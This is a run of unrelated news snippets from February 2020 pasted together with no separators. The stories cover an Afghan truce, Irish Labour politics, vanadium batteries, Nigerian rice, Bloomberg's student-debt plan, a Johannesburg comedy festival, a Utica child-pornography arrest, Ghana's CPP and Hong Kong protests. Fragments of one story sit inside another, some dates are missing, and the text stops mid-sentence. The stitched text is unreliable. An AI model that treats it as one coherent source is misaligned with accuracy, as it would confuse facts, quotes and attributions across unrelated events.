Mail noted. Sources include: DailyMail.co.uk PJMedia.com NewsTarget.com Source: Xinhua| 2020-02-21 15:50:45|Editor: xuxin Video Player Close Local people celebrate a week-long reduction of violence period in Kandahar city, southern Afghanistan, Feb. 21, 2020. A week-long reduction of violence period during which the Afghan security forces and Taliban insurgents will refrain from operations and attacks would start by early Saturday, a local TV channel reported on Friday. (Photo by Sanaullah Seiam/Xinhua) KABUL, Feb. 21 (Xinhua) -- A week-long reduction of violence period during which the Afghan security forces and Taliban insurgents will refrain from operations and attacks would start by early Saturday, a local TV channel reported on Friday. "The 7-day violence reduction term starts tonight at 12:00 a.m. Saturday. The Afghan forces are ready to start the violence reduction term," Ariana News TV said on its report. The report quoted Jawid Faisal, spokesman of Afghan National Security Council, as saying that "the (Afghan) government promises to abide by all the rules of the 7-day violence reduction term to bring peace and stability to the country," The announcement came as U.S. Defense Secretary Mark Esper announced last week that the United States and the Taliban had negotiated a proposal for a seven-day reduction in violence in Afghanistan. Faisal told the TV that the violence will possibly be decreased by 80 percent during the period across the country. However, Afghan military officials had in the past said that the country's security forces reserves the right to respond to any possible violation by the militants. According to media reports following the week-long truce on reduction of violence, the Taliban and the United States will possibly reach a peace agreement by the end of this month amid media reports suggesting that significant progress had been made during recent negotiation between a U.S. delegation and Taliban representatives in Qatar. Because there are no winner-take-all contests, delegates are awarded proportionally to any candidate who hits a threshold of 15 percent of the vote. In a field in which there are several candidates competing and reaching that threshold, it becomes difficult for anyone to reach a majority by the end of the primaries. But those same rules give a big advantage to the candidate who gains even a modest lead. For those running behind, making up that ground becomes more and more difficult. LABOUR leadership candidate Aodhan O Riordain has refused to rule out a future coalition deal with Sinn Fein but said "a huge amount has to change" before that would happen. Mr O Riordain launched his bid to succeed Brendan Howlin on Dublin's Sheriff Street today. He warned that the party is facing an "existential" crisis with just 2pc of young people supporting Labour in the election which saw it win just six seats. Mr O Riordain, who is facing Tipperary TD Alan Kelly in the leadership battle said Labour must regain the trust of the people and be a "campaigning party". He said 25pc of workers on low pay - a level second only to the United States - in the developed world and that's the kind of issue Labour should campaign on. Mr O Riordain pledged his first act as leader would be to "break the employers' veto on negotiating with workers" and push for a law ensuring the right to be represented by a union. The Dublin Bay North TD said that if an Attorney General claimed it was unconstitutional, he would seek a referendum on this issue. The Labour Party has not recovered from its association with the austerity years when it was in government with Fine Gael and Sinn Fein hovered up support in traditional Labour constituencies. Mr O Riordain was asked if he would be willing to go into coalition with Sinn Fein. He said: "Im happy to work with any other party on the left who wants to achieve real change." He questioned Sinn Fein's left-wing credentials saying it had an anti-tax agenda and claiming that they engage in a "sectarian head count in the North of Ireland" which he also said is not of the left. Mr O Riordain also claimed Sinn Fein would be seeking money from supporters of US President Donald Trump during its annual St Patrick's week State-side fund-raising efforts and said that's not left-wing. He said: "I want to talk and listen and learn from every other party who positions themselves on the left." Pressed again on a future deal with Sinn Fein he said: "I wouldnt rule out a coalition with anybody" before adding that he was ruling out parties on the right "who dont share our vision of the country". He said: "A huge amount has to change between this point and that point. And I used the phrase position themselves on the left deliberately." A Sinn Fein spokesperson responded to Mr O Riordain's remarks about the party saying: If spouting rubbish like this is the direction of travel for Labour under Aodhan O Riordain then I dont envisage a very bright future for them. Mr O Riordain was joined at the launch by fellow TD Ged Nash and Senator Ivana Bacik who have nominated him for the leadership. Also in attendance for former Labour deputy leader Liz McManus, and former ministers Niamh Bhreathnach and Barry Desmond. Mr O Riordain was reluctant to outline differences between himself and rival Mr Kelly saying: "I think theres far too much in politics against another individual or another party." In the end he did claim that he's bringing an analysis of where Labour has gone wrong. He said: "I bring an analysis that we have no right to exist. "If 2pc of young people in the country are voting for us and 98pc are voting for others then we have an existential crisis." Mr O Riordain lost his seat in the 2016 Labour wipe-out while Mr Kelly hung on to his. He said if Labour's relationship with the Irish people is wounded that needs to be addressed. "I think possibly by losing an election I have more of an insight into how to regain that trust than maybe other people," Mr O Riordain said. Agartala, Feb 21 : In a barbaric incident, a 6-year-old girl was murdered after being raped by a 30-year-old man in southern Tripura, police said on Friday. The accused, Kachakla Tripura, was arrested by the police late on Thursday evening. Police said that when the victim was playing with Kachakla Tripura's daughter in the latter's courtyard at Ghorakappa village in Gomati district on Thursday, the accused kidnapped the girl and after raping her repeatedly killed the minor and dumped her body in a jungle. "The accused confessed that he after repeated rape strangled the kid to death in the jungle," the police said. The victim was a friend of Kachakla Tripura's daughter. Nguyen Duy Tams research is mostly in the fields of energy storage and conversion materials, materials that catalyze electrochemical reactions and nanostructured materials. He started with a research project on catalytic materials for a water molecule separation reaction that serves hydrogen production technology. Nguyen Duy Tam, the doctor who carries out research on technology of the future In this field, Iridium and Ruthenium catalysts are known to be the most efficient materials, but they are expensive. The young doctor found a simple way to make nanoparticles for this material, which increased efficiency and reduced costs. After that, Tam worked on vanadium redox battery project, which was also his research topic for a PhD dissertation. Nguyen Duy Tams research is mostly in the fields of energy storage and conversion materials, materials that catalyze electrochemical reactions and nanostructured materials. According to Tam, one of the biggest difficulties for renewable energy is the control and stabilization of generated energy. Electrochemical storage (mostly in batteries) is considered to be one of the most efficient solutions. Though lithium-ion batteries have outstanding advantages in performance and energy density, they still have disadvantages in that they are incompatible with renewable energy systems - longevity, capacity upgrade capability, safety and recyclability. Meanwhile, vanadium redox batteries can meet these requirements. By storing energy in electrolytes, they allow independent upgrade of storage capacity. Vanadium battery life is up to 25 years. It is quiet and safe in operation, with no risk of explosion, and environmentally friendly. Notably, the possibility of re-using the main components of batteries is high, and with low costs. The working principle of vanadium redox battery was proposed by NASA scientists in the context of the global energy crisis in 1970s. Later, in the late 1980s, the first vanadium battery system was invented and operated by the research group headed by Professor Maria Skyllas-Kazacos of the University of New South Wales, Australia. Since then, the number of research works on vanadium batteries has increased with the introduction of commercial vanadium battery products. If renewable energy is considered the energy source of the future, vanadium batteries and other storage and conversion technologies are considered the key to the efficient use of that energy source. Potential applications of vanadium batteries include stabilization of renewable energy and regulation of the electricity grid, ensuring energy security; independent energy supply systems for border areas and islands; backup power supply systems for airports, databases; power source for smart buildings; and flexible charging stations for electric vehicles. After four years of research, Tam found a way to optimize electrolyte materials to increase life expectancy and reduce the cost of vanadium battery systems. These results have been patented and the technology is being transferred to VFlowTech a start-up in vanadium batteries. At present, Tam is no longer spending much research time on the topic, but is assisting the transfer of technology to Vietnam. Chi Mai Female scientist interested in rice varieties Dr. Pham Thi Thu Ha is one of three Vietnamese scientists to receive LOreal UNESCO for Women in Science Awards for her achievements and contributions to the community. Four police vehicles and two motorcycles remained parked outside of the home in Havana, while at least four regime officials searched the home, breaking many of its contents and confiscating computers and other items. After leaving, officials returned and confiscated Mrs. Morejon's cell phones and deleted accounts of incident she had posted to her Twitter account. Friends and neighbors contacted the Inspire America Foundation, which in turn disseminated the news on social media this morning. Senator Rubio quickly issued a statement through his twitter account: @SenRubioPress "the dictatorship is responsible for his wellbeing" Marcell Felipe, Chairman of the Inspire America Foundation stated that "the responsibility lies with Kenia Maria Morales and everyone up the chain of command, who participated in the detention of this non-violent human rights leader, the day will come, when Cuba as a free and democratic republic, will bring them before a court of justice for their crimes." The arrest comes months after the arrest of another prominent opposition leader, Jose Daniel Ferrer, and in the midst of the greatest economic and social crisis confronting the regime since its "special period" in the early 1990s. After losing billions of dollars in the last 12 months, the regime is starving for hard currency, and has introduced a number of unpopular measures including not providing Cubans with basic personal care products such as soap, leading to long lines and disturbances throughout the island. In addition, to obtain hard currency the regime has authorized the importation of luxury automobiles further contributing to stark contrasts between the ruling class and those they rule. The crumbling houses which recently took the lives of three little girls has only intensified the already tense situation. Fearing an unsustainable public pressure, the regime has arrested the opposition leader they fear the most, Dr. Oscar Elias Biscet. Dr. Biscet received the US Presidential Medal of Freedom from George Bush in 2007 and has been proposed as a nominee for the Nobel Prize by numerous foreign leaders. After serving his first prison sentence, Dr. Biscet was received as a hero in his neighborhood by a multitude of Cubans, prompting the regime to re-arrest him a month later, this time, forcing him to serve nine years in prison. In 2016, Dr. Biscet was the keynote speaker at the inauguration of the Inspire America Foundation, where numerous leaders praised his work on human rights in Cuba, including Senator Marco Rubio and President Alvaro Uribe of Colombia. (see inspireamerica.org) In its tenure, the Castro regime has imprisoned and tortured thousands of non-violent opponents and has murdered tens of thousands. CubaArchive.org has at least 5,000 homicide cases documented by at least two witnesses, and some academics have estimated the figure in the tens of thousands. SOURCE Inspire America Foundation What if the poor look for other poor people to marry? There will be more poor families. This is a problem in Indonesia, said Muhadjir Effendy. Poor households number around 5 million, 9.4 per cent of 57.1 million. About 115 million Indonesians, 45 per cent of the population, have not yet achieved economic security and middle class status. (AsiaNews/Agencies) - The rich should marry people from low-income families in order to reduce the country's poverty rate, this according to Indonesias Coordinating Human Development and Culture Minister Muhadjir Effendy. The minister made such a controversial suggestion yesterday at a national health conference in the capital. This morning he explained that it would not entail any compulsion. In his address, Muhadjir said that in Indonesia, the worlds most populous Muslim country, religious teachings on equivalent marriage partners are often misinterpreted. What if the poor look for other poor people to marry? There will be more poor families. This is a problem in Indonesia, he said. To tackle the issue, "The Religious Affairs Minister should issue a fatwa (religious edict) so that the poor look for the rich and vice versa when contemplating marriage. Citing government data, the minister said that the number of poor households in the archipelago stood at around 5 million, 9.4 per cent of the total (57.1 million). However, a fatwa is not the responsibility of the Religious Affairs Minister in Indonesia. The task usually falls on Muslim clerical authorities such as the Islamic Council of Indonesian Ulemas (MUI), after extensive studies by the Fatwa Commission, or people with expertise in certain areas of law. In addition to the fatwa, Muhadjir also proposed a premarital certification programme whereby couples that are not yet economically stable but intend to marry would receive a pre-employment card under a programme launched by President Joko "Jokowi" Widodo. The minister's statements immediately sparked a heated debate among Indonesians. This morning, Muhadjir met with reporters at his Ministry noting that his suggestion was but one element in an hour-long speech and that he was not serious when calling for a fatwa on marriage between the wealthy and the poor. Whilst the minister said that people are free to follow his suggestion as a way to tackled the country's poverty, if Indonesias top Islamic authorities consider the fatwa idea, they would be validating it. Recently, the World Bank reported that around 115 million Indonesians, 45 per cent of the population, have not yet achieved economic security and middle-class status. Progress has nonetheless been made in reducing poverty to less than 10 per cent over the past 15 years, whilst the middle class has grown from 7 to 20 per cent of the population. Nigeria's economy has relied on oil for decades, but after prices fell, the government started investing in rice. In August, Nigeria closed its borders to land imports in an effort to boost domestic rice production. But farmers are having trouble meeting demand because many are still harvesting the grain by hand. As the price of rice increases, farmers worry that the staple food will no longer be accessible to most Nigerians. View more episodes of Business Insider Today on Facebook. Following is a transcript of an episode of Business Insider Today. Watch the full episode here. Nigeria is the No. 1 consumer of rice in all of Africa. And short domestic supply has made prices skyrocket. Farmers are whacking at these giant piles of stalks for little tiny grains of rice. Without machinery or irrigation, harvesting this land still relies on manual labor. Since the Nigerian government shut its borders to rice imports, it's these farmers who have had to bear the burden of producing enough of the crop to feed the country. Iveren Asan, rice miller: "We are doing some of the process manually so we cannot meet the demand." A 50-kilogram bag of rice costs nearly double what it did last July, before the borders were closed. Nigeria closed its borders to land imports in an effort to boost rice production within the country. Getty Images Naomi Nguher, Lagos resident: "Based on my budget of what I came to the market with, I couldn't afford it, so I have to buy in small quantity." While farmers say they'll benefit from that in the near term, they're concerned about the long term. Abraham Hon, rice farmer: "We expect more money in the pockets for this year." "We will reach a point where people who are buying rice cannot afford to buy rice." It all goes back to the oil boom of the 1970s, which Nigeria capitalized on to become Africa's largest economy. Crude and oil products were bringing in close to 90% of the country's foreign exchange earnings. And for decades, Nigeria was using that revenue to import food while its own agribusiness declined. Story continues But after global oil prices plummeted in 2014, the government began to rethink its dependence on the resource and started investing in rice a staple food consumed across all of Nigeria's geopolitical zones and socioeconomic classes. In August 2019, the country closed its land borders to boost local production and stop the inflow of foreign rice. Domestic output has gone up, but it hasn't come close to making up for the loss from imports. Abraham Hon, rice farmer: "We have large demand arising but less supply." Years of government neglect have meant that small-scale farmers, who account for 80% of the country's rice production, are now trying to provide for Nigeria's consumption of 7 million tons of rice a year often with just their bare hands. Farmers worry the price of rice is rising beyond what most Nigerians can afford. Reuters Thomas Tyawwa Maji, rice farmer: "We don't have tractor, we have not been accessing fertilizer, we have not been accessing chemicals and all that. Even the harvester. We have not been accessing any, so our production is very low." And what is produced sells out quickly. Farmers say they've been bombarded with new buyers from across the country. Asan: "As we are here, people are buying it and taking it to Port Harcourt, Lagos, and other states. They are not just using it here." While these farmers have made a little more money than usual, it hasn't been enough to purchase machines that could foster large-scale production. The Nigerian government has tried to help farmers by offering grants and low-interest loans, but the process of getting funding which may require getting a land title or registering for a cooperative society isn't always straightforward or accessible to rural communities. Farmers fear that if this gap between domestic supply and demand keeps up, rice will no longer be affordable or available to most Nigerians. Hon: "They will be looking at other alternatives to get energy or get food on their table, so that is not, in the long term, in the interest of we the rice farmers." Right now, it's these small-scale rice farmers who are self-sufficient: planting, harvesting, leveling out roads, and taking their crops to market on their own. But Nigeria's aim to become a self-sufficient food economy still has a long way to go. Read the original article on Business Insider None of what Im feeling, however, can come close to the myriad of emotions and states of mind experienced by the families here today, he said. You put your trust in me to care for your most precious loved ones and I failed you. The anguish I have caused is something no parent should ever have to endure. Democratic presidential candidate former New York City mayor Mike Bloomberg speaks during the Democratic presidential primary debate at Paris Las Vegas on February 19, 2020 in Las Vegas, Nevada. Michael Bloomberg, billionaire and former mayor of New York, is the latest Democratic presidential candidate to turn his attention to the country's $1.7 trillion outstanding student loan balance. "At its best, higher education serves as an engine of economic mobility and a pathway to the middle class," the 78-year-old wrote in his $700 million proposal released this week. "Our system is not fulfilling that promise." Bloomberg would make community college free and double Pell Grants. The grants typically go to around 7 million students a year for families with an income below $20,000. Four-year colleges would also be "debt-free" for low-income students. His campaign says it will fund his higher education plan by raising taxes on the wealthy. For people already saddled with student debt, Bloomberg says he would slash borrower payments in half. Specifically, borrowers would automatically be enrolled in repayment plans that cap their monthly bills at 5% of their discretionary income. People on those plans now can pay between 10% and 20% of their income. According to the plan, borrowers would have the option to pay their bills through their employer under the payroll withholding system. Sen. Lamar Alexander, R-Tenn., floated a similar proposal last year. However, it quickly drew criticism from consumer advocates, who called it "mandatory wage garnishment." After 20 years on Bloomberg's repayment plan, undergraduate borrowers can get their remaining debt canceled tax-free on up to $57,000 of federal student loans. Currently, debt forgiven under these programs is considered taxable income. Bloomberg would also cancel the debt of students who went to predatory, for-profit colleges and end the government's collection of defaulted borrowers' Social Security checks and tax refunds. The candidate would also do away with the collection charges on past-due loans for low- and middle-income borrowers. Lastly, Bloomberg says he would fix the challenged public service loan forgiveness program by "extending debt relief to all qualifying public servants who've applied for forgiveness in good faith." The Consumer Financial Protection Bureau estimated that one-quarter of American workers could be eligible for that program. Most borrowers in public service jobs believe they're paying their way to loan forgiveness, only to discover at some point in the process that they don't qualify for one technical reason or another. Bloomberg says he will make it easier to discharge student debt in bankruptcy. At least one Republican, in addition to a host of Democratic lawmakers and presidential candidates, wants to allow student debt to be discharged in normal bankruptcy proceedings. Currently, borrowers have to exhibit a "certainty of hopelessness" to walk away from their student debt in court. Federal Reserve Chairman Jerome Powell has said he's "at a loss to explain" why student loans are treated differently than other types of debt in bankruptcy. There's no sound reason struggling borrowers shouldn't be able to get a fresh start, Kantrowitz said. "Credit cards can be discharged, but not student loans?" he said. Student debt has become a central issue in the 2020 presidential campaign. Americans are now more burdened by loans they took out for their education than credit card or auto debt. The average college graduate leaves school $30,000 in the red today, up from $10,000 in the 1990s, and 28% of student loan borrowers are in delinquency or default. More from Personal Finance: The biggest things you don't know about Roth IRAs Still working at 65? How to handle Medicare These high-income taxpayers are getting a visit from the IRS Johannesburg, 20 February 2020: Its official! The much-anticipated Johannesburg International Comedy Festival (JICF) returns with another mouth-watering feast of comedy over four hilariously jam-packed days, promising to be one of the biggest celebrations of funny on the continent for 2020! The largest independent international comedy festival in Africa, JICF, rolls out its fourth edition with over 30 local, continental and international comedians taking over The Mandela, Lesedi and Space.com Theatres at the Joburg Theatre precinct in Braamfontein, from Wednesday, 15 April to Saturday, 18 April 2020. Audiences looking forward to great comedy from the best comedians that Africa and the globe have to offer or just wanting to experience a fun night out on the town are in for a massive treat this year. Once again, South Africa will be strongly represented by some of its funniest men and women proudly flying the flag up high at this years edition. The Mzansi contingent for the 2020 instalment includes Jason Goliath, Celeste Ntuli, Mpho Popps, Kagiso Lediga, Joey Rasdien, Conrad Koch and Chester Missing, Tats Nkonzo, Rob van Vuuren, Robby Collins, Mojak Lehoko, Yaaseen Barnes, Thabiso Mhlongo, Lindy Johnson, Ebenezer Dibakwane amongst others to be confirmed in due course. Continental acts confirmed thus far are African giants Salvado (Uganda) and Alfred Kainga (Zimbabwe) who are set to impress Johannesburg audiences with their unique Afrocentric style of comedy. Over the next few weeks, more shows and international comedy talents will be added to the festival line-up with every indication of another bumper comedy extravaganza in store. I am excited to reveal that the Johannesburg International Comedy Festival is back with a bang this year. We are thrilled to bring over 30 of the most exciting acts in SA, the continent and the globe to Johannesburg for a few days of exceptional comedy and memorable fun. We are looking to build on the successes of the previous editions and provide our audiences with another novel and unforgettable comedy experience, says Takunda Bimha, Founder and Director for JICF. We are excited to collaborate with this years edition of the Johannesburg International Comedy Festival. Our role is to amplify a great offering the festival has to offer to millions of South Africans. Through this partnership, SABC 2 will be broadcasting the Johannesburg International Comedy festival stand up offering comprising of the best from the previous editions which will take place every Saturday, over four weeks starting from the 11th of April 2020. Through this partnership, premium comedy content will now be accessible to a wider audience, elevating the JICF to new heights. SABC 2 is now a channel where JICF belongs. Dichaba Phalatse, SABC TV Network Marketing Manager. JICF proudly brought to you by SABC2 in partnership with Department of Arts & Culture and Savanna. The current line-up of festival shows to look forward to are: THIS IS SATAFRIKA Proudly brought to you by Kagiso Lediga, the grand opening show of the Festival will feature comedians, celebrities, pastors and other interesting Mzansi personalities. This show will be a comedy extravaganza of epic proportions and a hilarious take on all the funny goings on in South Africa today. TRIGGERED Hosted by Joey Rasdien featuring Lindy Johnson and international comedians (to be announced soon), these hilarious comedians have got some things to get off their chests. Expect them to bring the heat to the stage! Do not bring your mother-in-law along to this show....or maybe do! TRENDING COMICS Hosted by Mpho Popps featuring Ebenaezer Dibakwane and a variety of international comedians. These comedians are tearing it up on the streets right now! Dont miss this show as you are guaranteed laughs for days and a damn good night out! STAND UP AFRICA Saturday, 18th April 2020 Lesedi Theatre 18:00pm R200 Hosted by Tats Nkonzo featuring Thabiso Mhlongo, Salvado (Uganda), Alfred Kainga (Zimbabwe) as well as a number of continental comedians. Dubbed as a festival favourite, we bring you yet another mouth-watering line up showcasing some of the continents finest comedians. Loudly and proudly African we Stan! JICF ALL STARS Hosted by Jason Goliath featuring Celeste Ntuli, Rob van Vuuren, Yaaseen Barnes and various international comedians to be announced soon. JICF All Stars is a specially curated line-up of the finest local and international headlining comedians that will be a fitting climax to this years festival. Fans can expect this to be a comedy show of the year contender! ONE NIGHT STANDS Get up-close-and-personal with some of your favourite Mzansi comedians and their shows at this years festival: with more to be announced, the following have already been confirmed Mojak Lehoko: presents Mojak & Friends Space.Com Theatre Saturday 18 April 2020 at 15.00pm Chester Missing & Conrad Koch: How To End Racism Lesedi Theatre Saturday 18 April 2020 at 16:00pm Robby Collins: Iyeza Space.Com Theatre Saturday 18 April 2020 at 16:30pm The age restriction for all comedy shows is 16 years old. Our programming strategy for the past three festivals has proven to be a winning formula thats landed well with our audiences. We are aiming for more of the same, if not even better this year. Particularly, Im very proud of the local contingent thats on our bill which combines some of the biggest names in South African comedy with the hottest comedy talent thats coming out of the local scene today. With the array of world-class continental and international talent that we will be announcing soon, this promises to be a truly vintage year for the Festival, Bimha concludes. The Johannesburg International Comedy Festival takes place at the Joburg Theatre, from Wednesday, 15 April to Saturday, 18 April 2020. For more information on the various showtimes, line-ups and comedians, visit www.jicf.co.za or www.webtickets.co.za. Tickets range from R150to R250 and are now also available at www.joburgtheatre.com or by calling 0861 670 670. Stay tuned to our website and follow our social media pages for more details and all things JICF: Facebook: Johannesburg International Comedy Festival Twitter: @JICF_SA Instagram: @JICF_SA Hashtags: #JICF#FunnyAF ABOUT JOHANNESBURG INTERNATIONAL COMEDY SHOW Established in 2015, the Johannesburg International Comedy Festival has become one of the biggest celebrations of stand-up comedy on the continent. It showcases the very best in local and international comedy talent performing to thousands of fans in multiple shows across the different venues at the world-class Joburg Theatre. The festival continues to have a strong working partnership with one of the biggest properties in Europe, the Montreux Comedy Festival in Switzerland which turns 31 this year! Source: Xinhua| 2020-02-21 14:17:24|Editor: huaxia Video Player Close WUHAN, Feb. 21 (Xinhua) -- Despite the epidemic outbreak, Olivier Guyonvarch, French consul general in Wuhan, returned to the epicenter on Jan. 30 from France where he had stayed for medical reasons. "I am very attached to Wuhan, and for me there is no doubt: my place is here," Guyonvarch said in an interview with Xinhua. According to Guyonvarch, he is working with three other French expatriate agents in the consul, together with Chinese employees who work at home. The French Consulate General is working on a lean operation mode. "Together with my colleagues we have made the choice to stay because it is our duty and our mission. We are proud to be here at the service of France and the Franco-Chinese friendship," Guyonvarch said. "It is in difficult times that one recognizes one's true friends." "Wuhan is of particular importance to me, I have many Wuhan friends. I love this warm, vibrant and dynamic city," Guyonvarch said. He paid tribute to the front line medical staff fighting coronavirus, and businessmen and workers who keep the city operating. "I think a lot about the medical staff who are on the front line in the fight against coronavirus... They are the first to be affected by the virus, and many of them have sacrificed their health and even their lives. I would like to show them all my admiration and respect," said the French consul general. "But I also think of all the small businesses in Wuhan, the employees who clean the streets, and especially the shopkeepers, in the markets, shops and supermarkets that remain open to provide food... They also deserve our full respect." He added when normal life resumes in Wuhan, the Consulate General will relaunch economic, scientific, cultural, educational and linguistic cooperation. "We intend to organize exhibitions, shows and concerts even more beautiful than before, because the people of Wuhan deserve to find the joy and happiness of living after this terrible ordeal," Guyonvarch said. French President Emmanuel Macron on Tuesday expressed solidarity with the Chinese government and people in the fight against the COVID-19 epidemic, as well as appreciation for China's timely and effective measures and its high degree of openness and transparency. He noted that France has provided a batch of medical supplies to China and stands ready to provide more assistance. UTICA, N.Y.-- A Utica man who police say is a registered sex offender has been charged with two felonies after he was found to have child pornography, according to the Oneida County Sheriffs Office. An investigation by several agencies resulted in the mans arrest, the sheriffs office said in a news release. Duane L. Raiser, 50, of Utica, was charged Thursday with possession of a sexual performance by a child, a felony, and failing to register Internet account/Internet identifiers, a felony, deputies said. Raiser is a Level 1 sex offender, a rating given to people with a low risk of repeat offense, according to the state Division of Criminal Justice Services. Oneida County Sheriffs deputies said the investigation began Feb. 3 when they received information from U.S. Department of Homeland Security office in Syracuse about online sexual content between an unknown Utica man and an unknown child in Quebec, Canada. Deputies said they were told the man was possibly a registered sex offender, and that led them to Raiser on Feb. 11. Police interviewed him, and collected evidence and Raiser was subsequently charged. Thanks for visiting Syracuse.com. Quality local journalism has never been more important, and your subscription matters. Not a subscriber yet? Please consider supporting our work. She's been married to Bond star Daniel Craig since 2011. And Rachel Weisz, 49. took their daughter, 17 months, whose name has never been released, out for a walk in Brooklyn, New York, on Friday as she headed to the shops. Rachel was well wrapped up against the cold, wearing a cosy looking camel coat which was belted at the waist. Lovely day out: Rachel Weisz wrapped up in a camel coat and oversized hat as she took her daughter for a walk in Brooklyn, New York on Friday She wore an oversized hat, grey scarf and boots and carried a shopping bag in hand. Her little girl was also bundled up in cute jacket which was emblazoned with pink shooting stars and pink wellies. Rachel is also mother to son Henry, 12, from her former romance with Hollywood director Darren Aronofsky, 51, who she dated for nine years between 2001 and 2010. Sweet: Her little girl was also bundled up in cute jacket which was emblazoned with pink shooting stars and pink wellies Moments: Rachel held her daughters hand following their shopping trip Daniel, 51, has a daughter, Ella Loudon, 27, whose mother is Craig's former wife, Scottish actress Fiona Loudon. Last October, Rachel was cast as Elizabeth Taylor in a new film that will document her activism around awareness and prevention of HIV and AIDS. This was at a time when many in the public sphere still kept a marked distance from the disease. Rachel will be portraying the late movie star in the upcoming biopic A Special Relationship, Variety reports. The film will focus on Taylors work advocating for HIV/AIDS awareness, and is based on hours of interviews and conversations with those who knew her well. Love: Rachel has been married to Bond star Daniel Craig since 2011 (still from 2020 Bond movie, No Time To Die) It will also highlight her close friendship with personal assistant Roger Wall, a southern gay man. While Taylor died in 2011, she began her work around the cause as early as 1985, after her friend and costar Rock Hudson succumbed to the disease. Liz's charity work around AIDS research and awareness swiftly grew in strength and breadth: in 1985, she helped found amFAR, The Foundation for AIDS Research, which remains to this day one of the leading organizations dedicated to eradicating the disease. She also created the Elizabeth Taylor AIDS Foundation in 1991, to further her efforts to focus on care and education about AIDS prevention. New role: Rachel has been cast as Elizabeth Taylor in a new film called A Special Relationship which will document her activism around awareness and prevention of HIV and AIDS Aam Aadmi Party MLA Shoaib Iqbal has been appointed as the pro-tem Speaker of the by Lt Governor Anil Baijal. Iqbal, who has been elected for the sixth time from Matia Mahal constituency, will oversee the oath-taking of newly-elected members on February 24 when the first session of the assembly begins. The order appointing Iqbal was issued on Thursday night. As Iqbal, who is one of seniormost legislators, has been appointed as the pro-tem speaker, he is unlikely to become the speaker of the Delhi Legislative Assembly. Sources said Ram Niwas Goel, who was the speaker in the previous Delhi Assembly, is likely to retain the post. A three-day session of the will begin from February 24 during which the Speaker will be chosen. The lieutenant governor is likely to address the House during the three-day session. Last week, the Seventh Delhi Legislative Assembly was constituted after the Aam Aadmi Party won 62 seats in the 70-member House. The BJP won eight seats while the Congress drew a blank. As an owner, you may actively seek a friend or loved one to care for your pet in the case of your death. However, these informal arrangements do not ensure, under the law, any obligation for the caretaker to follow your provisions. Be sure to clearly state in your letter of final wishes who shall care for the pet in the immediate aftermath of your passing. Hajia Hamdatu Ibrahim Haruna, the Acting Chairperson of the Convention Peoples Party (CPP) on Thursday said the Party would target strategic seats across the country in Election 2020 to ensure the Party wins those seats. She said it was now time for the Party to change its electoral strategies of focusing on every seat in the general elections to selecting specific seats and work towards winning it. Hajia Hamdatu Haruna who is among three personalities who have picked nomination forms to contest for the CPP National Chairmanship slot, told the Ghana News Agency in an interview that the Party was not a one man Party. She said CPP was the only Party that could lead the country on to the path of progress and development and to make a positive impact on Ghanaians. The CPP Acting Chairperson explained that the high filling fees being charged was another form of funds mobilization to finance it activities. She added that the amount involved showed how serious and important the position was to the Party and that it was an opportunity for the contestants to market themselves to get sponsors for the National Delegates Congress on March 27th to 28th. Other leading members who have picked nomination forms at the close of business on Wednesday, February 19 were Mr Kweku Quansah, an Architect and Mrs. Araba Bentsi Enchill, all three for the chairmanship. Mr John B. Daniels, Acting Deputy General Secretary has picked forms to contest for the Vice Chairmanship slot; while Mr Ebenezer Agbenya, a Teacher by profession; and Nana Yaa Jantuah have picked forms for the General Secretary position. Mr Moses Yirimambo Ambing and Mr Rashid Alao have picked forms to contest for the National Organiser, while Mr Nabila Basiru and Mr Osei Kofi Acquah has picked forms to contest for the National Youth Organiser; and Hajia Aisha Futa and Rose Tenadu both picked forms to contest for the National Women Organiser slot. The Acting Chairperson of the CPP said she was confident of winning the upcoming Congress since she was a grassroots person, adding, My track record will win the election for me. She added that she was the ladder that bridges the gap between the elderly and young people in the Party and that she would ensure the Party emerge victorious come December 7th, if she wins the Chairperson position again. Hajia Hamdatu Ibrahim comes from Kumbungu in the Northern Region, but was born and bred at Bolgatanga in the Upper East Region. She started her political career in 1992, and in 1995 she was the treasurer for La Dade Kotopon Constituency and was also a member of the National Youth League of the Party up to 2003. Hajia Hamdatu was elected as the National Womens Organiser in 2007 and in 2011 she lost the position and was offered a position as a member of the National Executive Council due to her unwavering commitment to the Party. In the same year she was also appointed the National Womens Organiser again after the resignation of the then National Women Organiser to joined the Progressive Peoples Party (PPP). In 2015 she was elected as the First Vice Chairperson of the Party and in 2019 she was named the Acting National Chairman. The CPP National Delegates Congress is slated tentatively for Friday 27 and Saturday, 28 March at Kumasi in the Ashanti Region. Nominations, which was opened from February 6th is expected to end on Friday February 28th, and nominations forms pegged at GH2,000.00, a statement signed by Mr J. B. Daniels, Acting Deputy General Secretary and copied to the Ghana News Agency in Accra stated. According to the CPP Congress timetable, prior to the congress, a National Executive Council (NEC) meeting would be held on Friday, March 27 in Kumasi. The National Delegates Congress shall elect the National Chairperson, National Vice-Chairpersons, the General Secretary, the National Treasurer, the National Organiser, and the National Womens Organizer. Source: GNA Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Hundreds of people gathered in malls and public places in Hong Kong on in renewed protests against the city's police force for failing to respond promptly to a mob attack on train passengers at the Yuen Long train station last June. Holding banners that read "Never forgive, never forget," protesters gathered in the Central business district's Landmark mall. Others carried the banner of the pro-democracy movement, which reads "Liberate Hong Kong, Revolution in our time!" Similar protests were planned in Causeway Bay, Tai Koo and Quarry Bay districts on Hong Kong Island, with large numbers of riot police dispatched to Kwun Tong and Kowloon Bay across the harbor. "Move it! Move along please! The police are working!" one police officer yelled at journalists filming their advance along a street in Kowloon Bay, raising a riot shield above his head. "Move back there!" shouted another. Meanwhile, social media photos showed protesters holding placards and "Revolution in our time" banners at a protest in Yolo Mall next to Yuen Long MTR. Democratic Party lawmaker Lam Cheuk-ting, who was attacked by gang members in white T-shirts at Yuen Long MTR station in the New Territories, said the attack was a turning point in the public's attitude to the police. "After that, Hong Kong people no longer believed in the police force any more," Lam told government broadcaster RTHK. "I think it is very crucial for Hong Kong to find out the whole truth of the Yuen Long attack, why the police didn't deploy any officers to prevent the attack from happening." Hong Kong's Mass Transit Railway (MTR) operator closed its Yuen Long station on . The white-clad attackers -- some of whom were later confirmed to have links to Hong Kong's criminal gangs, the triads -- laid into passers-by and passengers on a train in the station on , 2019, beating them up with rods and sticks and leaving 45 people in hospital. White-shirted mob ran amok Hong Kong police failed to respond to more than 24,000 emergency calls from the area as the white-shirted mob ran amok, bludgeoning passengers for 39 minutes before police arrived on the 